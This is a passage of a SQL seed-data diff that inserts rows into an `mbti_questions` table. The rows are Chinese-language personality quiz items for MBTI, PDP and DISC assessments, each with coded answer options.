'SN', NULL, 28, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (29, 'mbti', '您更喜欢的工作类型是:', '[{\"text\": \"有明确指导和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许创新和探索的工作\", \"value\": \"N\"}]', 'SN', NULL, 29, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (30, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的细节\", \"value\": \"S\"}, {\"text\": \"思考概念和理论\", \"value\": \"N\"}]', 'SN', NULL, 30, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (31, 'mbti', '您更喜欢的书籍或电影是:', '[{\"text\": \"基于现实的故事或纪实作品\", \"value\": \"S\"}, {\"text\": \"科幻、奇幻或充满想象力的作品\", \"value\": \"N\"}]', 'SN', NULL, 31, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (32, 'mbti', '在学习新技能时,您更倾向于:', '[{\"text\": \"按部就班地学习,掌握每个具体步骤\", \"value\": \"S\"}, {\"text\": \"先了解整体概念,然后填补细节\", \"value\": \"N\"}]', 'SN', NULL, 32, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (33, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确结构和规则的环境\", \"value\": \"S\"}, {\"text\": \"灵活多变,鼓励创新的环境\", \"value\": \"N\"}]', 'SN', NULL, 33, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (34, 'mbti', '您更倾向于:', '[{\"text\": \"关注现实和实际问题\", \"value\": \"S\"}, {\"text\": \"思考未来和可能性\", \"value\": \"N\"}]', 'SN', NULL, 34, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (35, 'mbti', '在描述事物时,您更倾向于:', '[{\"text\": \"提供具体细节和精确描述\", \"value\": \"S\"}, {\"text\": \"使用比喻和隐喻,强调整体印象\", \"value\": \"N\"}]', 'SN', NULL, 35, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (36, 'mbti', '您更喜欢的工作任务是:', '[{\"text\": \"需要精确和注重细节的任务\", \"value\": \"S\"}, {\"text\": \"需要创造力和想象力的任务\", \"value\": \"N\"}]', 'SN', NULL, 36, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (37, 'mbti', '您更相信:', '[{\"text\": \"亲眼所见和实际经验\", \"value\": \"S\"}, {\"text\": \"直觉和内在感受\", \"value\": \"N\"}]', 'SN', NULL, 37, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (38, 'mbti', '在讨论问题时,您更关注:', '[{\"text\": \"具体事实和实际例子\", \"value\": \"S\"}, {\"text\": \"概念和理论框架\", \"value\": \"N\"}]', 'SN', NULL, 38, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (39, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"通过实践和具体例子学习\", \"value\": \"S\"}, {\"text\": \"通过理论和概念学习\", \"value\": \"N\"}]', 'SN', NULL, 39, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (40, 'mbti', '您更倾向于:', '[{\"text\": \"关注现在和过去的经验\", \"value\": \"S\"}, {\"text\": \"思考未来和可能发生的事情\", \"value\": \"N\"}]', 'SN', NULL, 40, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (41, 'mbti', '在解决问题时,您更依赖:', '[{\"text\": \"已经证明有效的方法和经验\", \"value\": \"S\"}, {\"text\": \"创新的思路和直觉\", \"value\": \"N\"}]', 'SN', NULL, 41, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (42, 'mbti', '您更喜欢的工作是:', '[{\"text\": \"有明确目标和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许探索和创新的工作\", \"value\": \"N\"}]', 'SN', NULL, 42, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (43, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的问题\", \"value\": \"S\"}, {\"text\": \"思考抽象和理论性的问题\", \"value\": \"N\"}]', 'SN', NULL, 43, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (44, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的方法和程序工作\", \"value\": \"S\"}, {\"text\": \"尝试新的方法和创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 44, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (45, 'mbti', '您更关注:', '[{\"text\": \"实际的细节和具体的事实\", \"value\": \"S\"}, {\"text\": \"整体的概念和潜在的可能性\", \"value\": \"N\"}]', 'SN', NULL, 45, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (46, 'mbti', '在做决定时,您通常会:', '[{\"text\": \"考虑逻辑和客观分析\", \"value\": \"T\"}, {\"text\": \"考虑个人价值观和他人感受\", \"value\": \"F\"}]', 'TF', NULL, 46, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (47, 'mbti', '您更倾向于:', '[{\"text\": \"公正客观地分析情况\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 47, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (48, 'mbti', '在解决冲突时,您更关注:', '[{\"text\": \"找出问题的根本原因和逻辑解决方案\", \"value\": \"T\"}, {\"text\": \"维护关系和照顾各方感受\", \"value\": \"F\"}]', 'TF', NULL, 48, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (49, 'mbti', '您更倾向于:', '[{\"text\": \"直接指出问题,即使可能伤害他人感受\", \"value\": \"T\"}, {\"text\": \"委婉表达,避免伤害他人感受\", \"value\": \"F\"}]', 'TF', NULL, 49, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (50, 'mbti', '在评估情况时,您更重视:', '[{\"text\": \"客观事实和逻辑分析\", \"value\": \"T\"}, {\"text\": \"人际关系和价值观\", \"value\": \"F\"}]', 'TF', NULL, 50, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (51, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对他人的情感影响\", \"value\": \"F\"}]', 'TF', NULL, 51, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (52, 'mbti', '在团队中,您更关注:', '[{\"text\": \"任务的完成和效率\", \"value\": \"T\"}, {\"text\": \"团队和谐和成员满意度\", \"value\": \"F\"}]', 'TF', NULL, 52, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (53, 'mbti', '您更倾向于:', '[{\"text\": \"基于逻辑和事实做决定\", \"value\": \"T\"}, {\"text\": \"基于价值观和个人信念做决定\", \"value\": \"F\"}]', 'TF', NULL, 53, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (54, 'mbti', '在给予反馈时,您更倾向于:', '[{\"text\": \"直接指出问题和改进方向\", \"value\": \"T\"}, {\"text\": \"先肯定优点,再委婉提出建议\", \"value\": \"F\"}]', 'TF', NULL, 54, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (55, 'mbti', '您更看重:', '[{\"text\": \"公平和一致性\", \"value\": \"T\"}, {\"text\": \"同情和个人情况\", \"value\": \"F\"}]', 'TF', NULL, 55, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (56, 'mbti', '在工作中,您更重视:', '[{\"text\": \"效率和成果\", \"value\": \"T\"}, {\"text\": \"团队合作和人际关系\", \"value\": \"F\"}]', 'TF', NULL, 56, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (57, 'mbti', '您更倾向于:', '[{\"text\": \"客观分析问题,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响和感受\", \"value\": \"F\"}]', 'TF', NULL, 57, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (58, 'mbti', '在处理冲突时,您更倾向于:', '[{\"text\": \"关注问题本身,寻求公正的解决方案\", \"value\": \"T\"}, {\"text\": \"关注人际关系,寻求和谐的解决方案\", \"value\": \"F\"}]', 'TF', NULL, 58, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (59, 'mbti', '您更看重:', '[{\"text\": \"真实和诚实,即使可能伤害感情\", \"value\": \"T\"}, {\"text\": \"善良和体贴,避免伤害他人\", \"value\": \"F\"}]', 'TF', NULL, 59, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (60, 'mbti', '在评价他人时,您更倾向于:', '[{\"text\": \"客观评价其表现和能力\", \"value\": \"T\"}, {\"text\": \"考虑其努力和意图\", \"value\": \"F\"}]', 'TF', NULL, 60, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (61, 'mbti', '您更倾向于:', '[{\"text\": \"基于原则和规则做决定\", \"value\": \"T\"}, {\"text\": \"基于具体情况和个人需求做决定\", \"value\": \"F\"}]', 'TF', NULL, 61, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (62, 'mbti', '在处理问题时,您更关注:', '[{\"text\": \"找出最有效的解决方案\", \"value\": \"T\"}, {\"text\": \"确保所有人都感到被尊重和理解\", \"value\": \"F\"}]', 'TF', NULL, 62, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (63, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观和理性\", \"value\": \"T\"}, {\"text\": \"表达同理心和关怀\", \"value\": \"F\"}]', 'TF', NULL, 63, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (64, 'mbti', '在做决定时,您更看重:', '[{\"text\": \"逻辑和一致性\", \"value\": \"T\"}, {\"text\": \"价值观和人际和谐\", \"value\": \"F\"}]', 'TF', NULL, 64, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (65, 'mbti', '您更倾向于:', '[{\"text\": \"分析问题,寻找最佳解决方案\", \"value\": \"T\"}, {\"text\": \"理解他人感受,寻求共识\", \"value\": \"F\"}]', 'TF', NULL, 65, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (66, 'mbti', '在工作中,您更重视:', '[{\"text\": \"完成任务和达成目标\", \"value\": \"T\"}, {\"text\": \"维护良好的工作关系\", \"value\": \"F\"}]', 'TF', NULL, 66, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (67, 'mbti', '您更倾向于:', '[{\"text\": \"基于事实和数据做决定\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 67, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (68, 'mbti', '您更喜欢:', '[{\"text\": \"提前计划并按计划执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据情况调整\", \"value\": \"P\"}]', 'JP', NULL, 68, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (69, 'mbti', '您更倾向于:', '[{\"text\": \"按时完成任务,避免拖延\", \"value\": \"J\"}, {\"text\": \"在最后期限前完成任务,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 69, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (70, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的规则和结构\", \"value\": \"J\"}, {\"text\": \"灵活多变,允许即兴发挥\", \"value\": \"P\"}]', 'JP', NULL, 70, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (71, 'mbti', '您更倾向于:', '[{\"text\": \"制定详细的计划并遵循\", \"value\": \"J\"}, {\"text\": \"根据情况随机应变\", \"value\": \"P\"}]', 'JP', NULL, 71, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (72, 'mbti', '您更喜欢:', '[{\"text\": \"有条理和组织的生活方式\", \"value\": \"J\"}, {\"text\": \"自然流动和灵活的生活方式\", \"value\": \"P\"}]', 'JP', NULL, 72, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (73, 'mbti', '在做决定时,您更倾向于:', '[{\"text\": \"尽快做出决定并执行\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待更多信息\", \"value\": \"P\"}]', 'JP', NULL, 73, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (74, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的时间表和计划行事\", \"value\": \"J\"}, {\"text\": \"根据当下的情况和感受行事\", \"value\": \"P\"}]', 'JP', NULL, 74, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (75, 'mbti', '您更倾向于:', '[{\"text\": \"完成一项任务后再开始下一项\", \"value\": \"J\"}, {\"text\": \"同时处理多项任务,根据情况切换\", \"value\": \"P\"}]', 'JP', NULL, 75, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (76, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"有明确的目标和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程,可以随时调整\", \"value\": \"P\"}]', 'JP', NULL, 76, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (77, 'mbti', '您更倾向于:', '[{\"text\": \"提前做决定,避免最后一刻的压力\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待最佳时机\", \"value\": \"P\"}]', 'JP', NULL, 77, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (78, 'mbti', '您的工作区域通常是:', '[{\"text\": \"整洁有序,物品摆放有规律\", \"value\": \"J\"}, {\"text\": \"创意性混乱,物品随手可及\", \"value\": \"P\"}]', 'JP', NULL, 78, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (79, 'mbti', '您更倾向于:', '[{\"text\": \"按部就班地完成任务\", \"value\": \"J\"}, {\"text\": \"在灵感来临时集中精力工作\", \"value\": \"P\"}]', 'JP', NULL, 79, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (80, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的规则和指导方针\", \"value\": \"J\"}, {\"text\": \"灵活的环境,可以自由发挥\", \"value\": \"P\"}]', 'JP', NULL, 80, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (81, 'mbti', '您更倾向于:', '[{\"text\": \"提前计划假期和活动\", \"value\": \"J\"}, {\"text\": \"即兴决定和安排活动\", \"value\": \"P\"}]', 'JP', NULL, 81, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (82, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的日程安排\", \"value\": \"J\"}, {\"text\": \"根据当天的情况决定\", \"value\": \"P\"}]', 'JP', NULL, 82, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (83, 'mbti', '您更倾向于:', '[{\"text\": \"按照计划行事,避免意外\", \"value\": \"J\"}, {\"text\": \"适应变化,享受意外惊喜\", \"value\": \"P\"}]', 'JP', NULL, 83, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (84, 'mbti', '您更喜欢的生活方式是:', '[{\"text\": \"有规律和可预测的\", \"value\": \"J\"}, {\"text\": \"自然流动和多变的\", \"value\": \"P\"}]', 'JP', NULL, 84, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (85, 'mbti', '您更倾向于:', '[{\"text\": \"提前做好准备,避免匆忙\", \"value\": \"J\"}, {\"text\": \"在最后一刻完成准备,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 85, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (86, 'mbti', '您更喜欢:', '[{\"text\": \"明确的指导和方向\", \"value\": \"J\"}, {\"text\": \"探索不同的可能性\", \"value\": \"P\"}]', 'JP', NULL, 86, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (87, 'mbti', '您更倾向于:', '[{\"text\": \"按照既定的程序和方法工作\", \"value\": \"J\"}, {\"text\": \"根据情况调整工作方法\", \"value\": \"P\"}]', 'JP', NULL, 87, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (88, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的目标和计划\", \"value\": \"J\"}, {\"text\": \"保持开放的态度,随机应变\", \"value\": \"P\"}]', 'JP', NULL, 88, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (89, 'mbti', '您更倾向于:', '[{\"text\": \"做决定并坚持执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据新信息调整\", \"value\": \"P\"}]', 'JP', NULL, 89, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (90, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的期望和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程和时间安排\", \"value\": \"P\"}]', 'JP', NULL, 90, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (91, 'pdp', '面对紧急任务,您的第一反应是:', '[{\"text\": \"立即行动,快速完成\", \"value\": \"Tiger\"}, {\"text\": \"召集团队,激励大家\", \"value\": \"Peacock\"}, {\"text\": \"冷静分析,稳步推进\", \"value\": \"Koala\"}, {\"text\": \"仔细规划,确保无误\", \"value\": \"Owl\"}, {\"text\": \"根据情况灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 1, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (92, 'pdp', '在社交场合,您通常会:', '[{\"text\": \"主导话题,引领讨论\", \"value\": \"Tiger\"}, {\"text\": \"活跃气氛,成为焦点\", \"value\": \"Peacock\"}, {\"text\": \"安静倾听,适时回应\", \"value\": \"Koala\"}, {\"text\": \"观察分析,选择性交流\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 2, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (93, 'pdp', '您最看重工作中的:', '[{\"text\": \"权力和成就\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"稳定和和谐\", \"value\": \"Koala\"}, {\"text\": \"准确和质量\", \"value\": \"Owl\"}, {\"text\": \"平衡和适应\", \"value\": \"Chameleon\"}]', NULL, NULL, 3, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (94, 'pdp', '处理冲突时,您倾向于:', '[{\"text\": \"直接面对,迅速解决\", \"value\": \"Tiger\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"Peacock\"}, {\"text\": \"避免冲突,维护和平\", \"value\": \"Koala\"}, {\"text\": \"分析原因,理性处理\", \"value\": \"Owl\"}, {\"text\": \"灵活应对,视情况而定\", \"value\": \"Chameleon\"}]', NULL, NULL, 4, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (95, 'pdp', '您的决策风格是:', '[{\"text\": \"果断迅速,行动导向\", \"value\": \"Tiger\"}, {\"text\": \"直觉判断,情感驱动\", \"value\": \"Peacock\"}, {\"text\": \"深思熟虑,追求共识\", \"value\": \"Koala\"}, {\"text\": \"数据分析,逻辑推理\", \"value\": \"Owl\"}, {\"text\": \"综合考虑,灵活决策\", \"value\": \"Chameleon\"}]', NULL, NULL, 5, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (96, 'pdp', '面对压力,您会:', '[{\"text\": \"更加强势,控制局面\", \"value\": \"Tiger\"}, {\"text\": \"寻求支持,表达情绪\", \"value\": \"Peacock\"}, {\"text\": \"保持冷静,稳定情绪\", \"value\": \"Koala\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"Owl\"}, {\"text\": \"调整策略,灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 6, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (97, 'pdp', '您的领导风格是:', '[{\"text\": \"指挥型,明确方向\", \"value\": \"Tiger\"}, {\"text\": \"激励型,鼓舞士气\", \"value\": \"Peacock\"}, {\"text\": \"支持型,关怀团队\", \"value\": \"Koala\"}, {\"text\": \"专家型,以身作则\", \"value\": \"Owl\"}, {\"text\": \"教练型,因材施教\", \"value\": \"Chameleon\"}]', NULL, NULL, 7, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (98, 'pdp', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"Tiger\"}, {\"text\": \"可能忽略,更重整体\", \"value\": \"Peacock\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"Koala\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"Owl\"}, {\"text\": \"视情况决定关注程度\", \"value\": \"Chameleon\"}]', NULL, NULL, 8, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (99, 'pdp', '您的沟通方式是:', '[{\"text\": \"直接简短,注重结果\", \"value\": \"Tiger\"}, {\"text\": \"热情生动,富有感染力\", \"value\": \"Peacock\"}, {\"text\": \"温和耐心,善于倾听\", \"value\": \"Koala\"}, {\"text\": \"逻辑清晰,注重事实\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 9, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (100, 'pdp', '您对变化的态度是:', '[{\"text\": \"主动推动,寻找机会\", \"value\": \"Tiger\"}, {\"text\": \"积极拥抱,乐观面对\", \"value\": \"Peacock\"}, {\"text\": \"需要适应时间\", \"value\": \"Koala\"}, {\"text\": \"谨慎评估,确保万全\", \"value\": \"Owl\"}, {\"text\": \"灵活适应,随机应变\", \"value\": \"Chameleon\"}]', NULL, NULL, 10, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (101, 'pdp', '您的时间管理风格是:', '[{\"text\": \"高效利用,追求速度\", \"value\": \"Tiger\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"Peacock\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"Koala\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整计划\", \"value\": \"Chameleon\"}]', NULL, NULL, 11, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (102, 'pdp', '您被什么激励:', '[{\"text\": \"成就和权力\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"安全和归属\", \"value\": \"Koala\"}, {\"text\": \"正确和标准\", \"value\": \"Owl\"}, {\"text\": \"多样性和平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 12, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (103, 'pdp', '您的学习方式是:', '[{\"text\": \"边做边学,实践第一\", \"value\": \"Tiger\"}, {\"text\": \"互动讨论,分享学习\", \"value\": \"Peacock\"}, {\"text\": \"循序渐进,反复练习\", \"value\": \"Koala\"}, {\"text\": \"深入研究,系统学习\", \"value\": \"Owl\"}, {\"text\": \"多种方式结合\", \"value\": \"Chameleon\"}]', NULL, NULL, 13, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (104, 'pdp', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"Tiger\"}, {\"text\": \"灵活运用,不拘一格\", \"value\": \"Peacock\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"Koala\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"Owl\"}, {\"text\": \"视情况灵活处理\", \"value\": \"Chameleon\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (105, 'pdp', '您在团队中的角色是:', '[{\"text\": \"领导者,推动进展\", \"value\": \"Tiger\"}, {\"text\": \"激励者,凝聚人心\", \"value\": \"Peacock\"}, {\"text\": \"协调者,维护和谐\", \"value\": \"Koala\"}, {\"text\": \"专家,提供专业意见\", \"value\": \"Owl\"}, {\"text\": \"多面手,灵活补位\", \"value\": \"Chameleon\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (106, 'pdp', '您的工作节奏是:', '[{\"text\": \"快节奏,追求效率\", \"value\": \"Tiger\"}, {\"text\": \"充满活力,变化多端\", \"value\": \"Peacock\"}, {\"text\": \"稳定有序,按部就班\", \"value\": \"Koala\"}, {\"text\": \"有条理,精确执行\", \"value\": \"Owl\"}, {\"text\": \"根据需要调整节奏\", \"value\": \"Chameleon\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (107, 'pdp', '您最大的优势是:', '[{\"text\": \"决断力和执行力\", \"value\": \"Tiger\"}, {\"text\": \"影响力和感染力\", \"value\": \"Peacock\"}, {\"text\": \"耐心和可靠性\", \"value\": \"Koala\"}, {\"text\": \"分析力和准确性\", \"value\": \"Owl\"}, {\"text\": \"适应力和灵活性\", \"value\": \"Chameleon\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (108, 'pdp', '您的人际关系特点是:', '[{\"text\": \"目标导向,建立有价值的关系\", \"value\": \"Tiger\"}, {\"text\": \"广泛社交,朋友众多\", \"value\": \"Peacock\"}, {\"text\": \"深度交往,关系稳定\", \"value\": \"Koala\"}, {\"text\": \"选择性交往,志同道合\", \"value\": \"Owl\"}, {\"text\": \"根据情况建立不同类型关系\", \"value\": \"Chameleon\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (109, 'pdp', '面对批评,您的反应是:', '[{\"text\": \"可能会反驳或辩护\", \"value\": \"Tiger\"}, {\"text\": \"可能会感到受伤\", \"value\": \"Peacock\"}, {\"text\": \"接受并思考改进\", \"value\": \"Koala\"}, {\"text\": \"分析批评的合理性\", \"value\": \"Owl\"}, {\"text\": \"根据情况调整反应\", \"value\": \"Chameleon\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (110, 'pdp', '您的理想工作环境是:', '[{\"text\": \"充满挑战,自主权高\", \"value\": \"Tiger\"}, {\"text\": \"互动频繁,氛围活跃\", \"value\": \"Peacock\"}, {\"text\": \"稳定和谐,团队协作\", \"value\": \"Koala\"}, {\"text\": \"有序规范,专注质量\", \"value\": \"Owl\"}, {\"text\": \"灵活多变,兼顾平衡\", \"value\": \"Chameleon\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (111, 'disc', '在团队中,您更倾向于:', '[{\"text\": \"主导决策,带领团队前进\", \"value\": \"D\"}, {\"text\": \"活跃气氛,激励团队成员\", \"value\": \"I\"}, {\"text\": \"支持他人,确保团队和谐\", \"value\": \"S\"}, {\"text\": \"分析数据,确保决策质量\", \"value\": \"C\"}]', NULL, NULL, 1, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (112, 'disc', '面对挑战时,您的第一反应是:', '[{\"text\": \"立即行动,解决问题\", \"value\": \"D\"}, {\"text\": \"寻找支持,团队协作\", \"value\": \"I\"}, {\"text\": \"冷静思考,稳步推进\", \"value\": \"S\"}, {\"text\": \"收集信息,谨慎分析\", \"value\": \"C\"}]', NULL, NULL, 2, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (113, 'disc', '您在工作中最看重的是:', '[{\"text\": \"成果和效率\", \"value\": \"D\"}, {\"text\": \"认可和赞赏\", \"value\": \"I\"}, {\"text\": \"稳定和安全\", \"value\": \"S\"}, {\"text\": \"准确和质量\", \"value\": \"C\"}]', NULL, NULL, 3, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (114, 'disc', '与他人沟通时,您通常:', '[{\"text\": \"直接了当,注重结果\", \"value\": \"D\"}, {\"text\": \"热情友好,善于表达\", \"value\": \"I\"}, {\"text\": \"耐心倾听,体贴理解\", \"value\": \"S\"}, {\"text\": \"逻辑清晰,注重细节\", \"value\": \"C\"}]', NULL, NULL, 4, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (115, 'disc', '压力之下,您会:', '[{\"text\": \"变得更加强势和控制\", \"value\": \"D\"}, {\"text\": \"寻求他人支持和鼓励\", \"value\": \"I\"}, {\"text\": \"保持冷静,按部就班\", \"value\": \"S\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"C\"}]', NULL, NULL, 5, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (116, 'disc', '您认为自己的优势是:', '[{\"text\": \"决断力强,行动迅速\", \"value\": \"D\"}, {\"text\": \"人际关系好,善于激励\", \"value\": \"I\"}, {\"text\": \"可靠稳定,团队协作\", \"value\": \"S\"}, {\"text\": \"分析能力强,注重细节\", \"value\": \"C\"}]', NULL, NULL, 6, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (117, 'disc', '在会议中,您通常扮演的角色是:', '[{\"text\": \"主导者,推动决策\", \"value\": \"D\"}, {\"text\": \"激励者,调动气氛\", \"value\": \"I\"}, 